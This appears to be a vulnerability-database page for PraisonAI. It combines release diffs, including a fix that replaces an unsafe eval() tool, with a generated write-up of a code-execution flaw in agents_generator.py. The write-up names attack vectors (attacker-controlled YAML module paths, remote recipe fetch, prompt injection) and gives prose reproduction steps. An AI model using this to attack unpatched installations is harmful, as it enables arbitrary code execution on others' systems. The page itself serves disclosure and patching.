src/praisonai/praisonai.rb+2 −2 modified@@ -3,8 +3,8 @@ class Praisonai < Formula desc "AI tools for various AI applications" homepage "https://github.com/MervinPraison/PraisonAI" - url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.39.tar.gz" - sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.39.tar.gz | shasum -a 256`.split.first + url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.40.tar.gz" + sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.40.tar.gz | shasum -a 256`.split.first license "MIT" depends_on "python@3.11"
src/praisonai/praisonai/version.py+1 −1 modified@@ -1 +1 @@ -__version__ = "4.6.39" \ No newline at end of file +__version__ = "4.6.40" \ No newline at end of file
src/praisonai/pyproject.toml+1 −1 modified@@ -12,7 +12,7 @@ dependencies = [ "rich>=13.7", "markdown>=3.5", "pyparsing>=3.0.0", - "praisonaiagents>=1.6.39", + "praisonaiagents>=1.6.40", "python-dotenv>=0.19.0", "litellm>=1.83.14,<2", "PyYAML>=6.0",
src/praisonai/uv.lock+1 −1 modified@@ -4841,7 +4841,7 @@ wheels = [ [[package]] name = "praisonaiagents" -version = "1.6.39" +version = "1.6.40" source = { directory = "../praisonai-agents" } dependencies = [ { name = "aiohttp" },
adcfa299414eRelease v4.6.38
11 files changed · +648 −554
docker/Dockerfile.chat+1 −1 modified@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.37" \ + "praisonai>=4.6.38" \ "praisonai[chat]" \ "embedchain[github,youtube]"
docker/Dockerfile.dev+1 −1 modified@@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.37" \ + "praisonai>=4.6.38" \ "praisonai[ui]" \ "praisonai[chat]" \ "praisonai[realtime]" \
docker/Dockerfile.ui+1 −1 modified@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.37" \ + "praisonai>=4.6.38" \ "praisonai[ui]" \ "praisonai[crewai]"
src/praisonai-agents/pyproject.toml+1 −1 modified@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "praisonaiagents" -version = "1.6.37" +version = "1.6.38" description = "Praison AI agents for completing complex tasks with Self Reflection Agents" readme = "README.md" requires-python = ">=3.10"
src/praisonai-agents/uv.lock+207 −174 modifiedsrc/praisonai/praisonai/deploy.py+1 −1 modified@@ -57,7 +57,7 @@ def create_dockerfile(self): file.write("FROM python:3.11-slim\n") file.write("WORKDIR /app\n") file.write("COPY . .\n") - file.write("RUN pip install flask praisonai==4.6.37 gunicorn markdown\n") + file.write("RUN pip install flask praisonai==4.6.38 gunicorn markdown\n") file.write("EXPOSE 8080\n") file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
src/praisonai/praisonai.rb+2 −2 modified@@ -3,8 +3,8 @@ class Praisonai < Formula desc "AI tools for various AI applications" homepage "https://github.com/MervinPraison/PraisonAI" - url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.37.tar.gz" - sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.37.tar.gz | shasum -a 256`.split.first + url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.38.tar.gz" + sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.38.tar.gz | shasum -a 256`.split.first license "MIT" depends_on "python@3.11"
src/praisonai/praisonai/version.py+1 −1 modified@@ -1 +1 @@ -__version__ = "4.6.37" \ No newline at end of file +__version__ = "4.6.38" \ No newline at end of file
src/praisonai/pyproject.toml+2 −2 modified@@ -12,9 +12,9 @@ dependencies = [ "rich>=13.7", "markdown>=3.5", "pyparsing>=3.0.0", - "praisonaiagents>=1.6.37", + "praisonaiagents>=1.6.38", "python-dotenv>=0.19.0", - "litellm>=1.81.0,<=1.82.6", + "litellm>=1.83.14,<2", "PyYAML>=6.0", "mcp>=1.20.0", "typer>=0.9.0",
src/praisonai/README.md+39 −2 modified@@ -294,8 +294,35 @@ def search(query: str) -> str: @tool def calculate(expression: str) -> float: - """Evaluate a math expression.""" - return eval(expression) + """Safely evaluate a numeric arithmetic expression.""" + import ast + import operator + + # Define allowed operations + _OPS = { + ast.Add: operator.add, + ast.Sub: operator.sub, + ast.Mult: operator.mul, + ast.Div: operator.truediv, + ast.Pow: operator.pow, + ast.USub: operator.neg, + ast.UAdd: operator.pos, + } + + def _safe_eval(node): + if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)): + return node.value + elif isinstance(node, ast.BinOp) and type(node.op) in _OPS: + return _OPS[type(node.op)](_safe_eval(node.left), _safe_eval(node.right)) + elif isinstance(node, ast.UnaryOp) and type(node.op) in _OPS: + return _OPS[type(node.op)](_safe_eval(node.operand)) + else: + raise ValueError("Unsupported expression") + + try: + return _safe_eval(ast.parse(expression, mode="eval").body) + except (ValueError, SyntaxError, TypeError, ZeroDivisionError, OverflowError): + raise ValueError("Invalid arithmetic expression") agent = Agent( instructions="You are a helpful assistant", @@ -304,6 +331,7 @@ agent = Agent( agent.start("Search for AI news and calculate 15*4") ``` +> ⚠️ **Security Note:** Never use `eval()`, `exec()`, or `subprocess` in tool functions that process LLM-generated or user-supplied input. Always validate and sanitize inputs to prevent code injection attacks. > 📖 [Full tools docs](https://docs.praison.ai/docs/tools/tools) — BaseTool, tool packages, 100+ built-in tools ### 5. Persistence (Databases) @@ -330,6 +358,15 @@ pip install "praisonai[claw]" praisonai claw ``` +#### Required Environment Variables + +Copy `.env.example` to `.env` and configure the following variables: + +| Variable | Required | Description | +|----------|----------|-------------| +| `OPENAI_API_KEY` | Yes | OpenAI API key for all LLM calls | +| `TAVILY_API_KEY` | Yes (Claw) | Tavily key for the built-in web-search tool. Get one free at https://app.tavily.com | + Open **http://localhost:8082** — the dashboard comes with 13 built-in pages: Chat, Agents, Memory, Knowledge, Channels, Guardrails, Cron, and more. Add messaging channels directly from the UI. > 📖 [Full Claw docs](https://docs.praison.ai/docs/concepts/claw) — platform tokens, CLI options, Docker, and YAML agent mode
src/praisonai/uv.lock+392 −368 modified
Vulnerability mechanics
Root cause
"Two `spec.loader.exec_module` call sites in `agents_generator.py` lack the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate and accept an attacker-controlled `module_path` from YAML configuration without validation."
Attack vector
An attacker supplies a malicious `module_path` via an `agents.yaml` tool definition, which is passed to `load_tools_from_module` or `load_tools_from_module_class` in `agents_generator.py`. These functions call `spec.loader.exec_module(module)` without checking the `PRAISONAI_ALLOW_LOCAL_TOOLS` environment variable, causing arbitrary Python code execution during tool registry construction [ref_id=1][ref_id=2]. The `module_path` can be attacker-controlled through a shared/writable config directory, a remote recipe fetch (`POST /v1/recipes/run` with `allow_any_github=True`), or prompt injection [ref_id=1]. No authentication is required when the legacy server default is used [ref_id=1].
Affected code
The two unguarded `spec.loader.exec_module` call sites reside in `praisonai/agents_generator.py` at `load_tools_from_module` (line 349-351) and `load_tools_from_module_class` (line 372). Both accept a `module_path` parameter from YAML agent configuration and execute it without the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate or any path validation [ref_id=1][ref_id=2].
What the fix does
Patch [patch_id=3131102] rewrites both `load_tools_from_module` and `load_tools_from_module_class` to delegate to `_safe_loader.load_user_module()`, which enforces the `PRAISONAI_ALLOW_LOCAL_TOOLS` gate and returns `None` when the module cannot be loaded [patch_id=3131102]. Patch [patch_id=3131101] further consolidates tool loading paths by routing `tools.py` loading through `ToolResolver` and the same `_safe_loader`, removing the duplicate `load_tools_from_tools_py` method and ensuring a consistent security model across all `exec_module` call sites [patch_id=3131101]. Together these patches close the two missed sinks that were left unguarded after the v4.6.32 chokepoint refactor [ref_id=1].
Preconditions
- inputAttacker must be able to supply a `module_path` value in an `agents.yaml` tool definition, either by writing the file locally, fetching a remote recipe, or via prompt injection.
- configThe `PRAISONAI_ALLOW_LOCAL_TOOLS` environment variable must not be set to `true` (the gate is absent in the vulnerable code, so the check is never performed).
- networkFor the network vector, the recipe server must be running with default no-auth posture and `allow_any_github=True`.
Reproduction
## Reproduction
1. Create a malicious module `evil.py` that writes a marker file to `/tmp/`. 2. Create an `agents.yaml` that references `evil.py` as a tool. 3. Run `PraisonAI(agent_file='agents.yaml').main()` from the same working directory. 4. Verify the marker file was written, confirming arbitrary code execution.
Full PoC script is provided in [ref_id=1] and [ref_id=2].
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.